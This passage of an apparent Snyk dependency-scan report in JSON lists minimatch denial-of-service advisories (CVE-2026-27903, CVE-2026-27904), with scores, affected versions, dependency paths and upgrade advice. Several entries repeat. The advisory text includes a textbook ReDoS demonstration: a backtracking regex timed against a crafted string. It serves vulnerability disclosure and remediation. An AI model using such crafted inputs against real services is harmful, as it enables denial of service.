"7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes 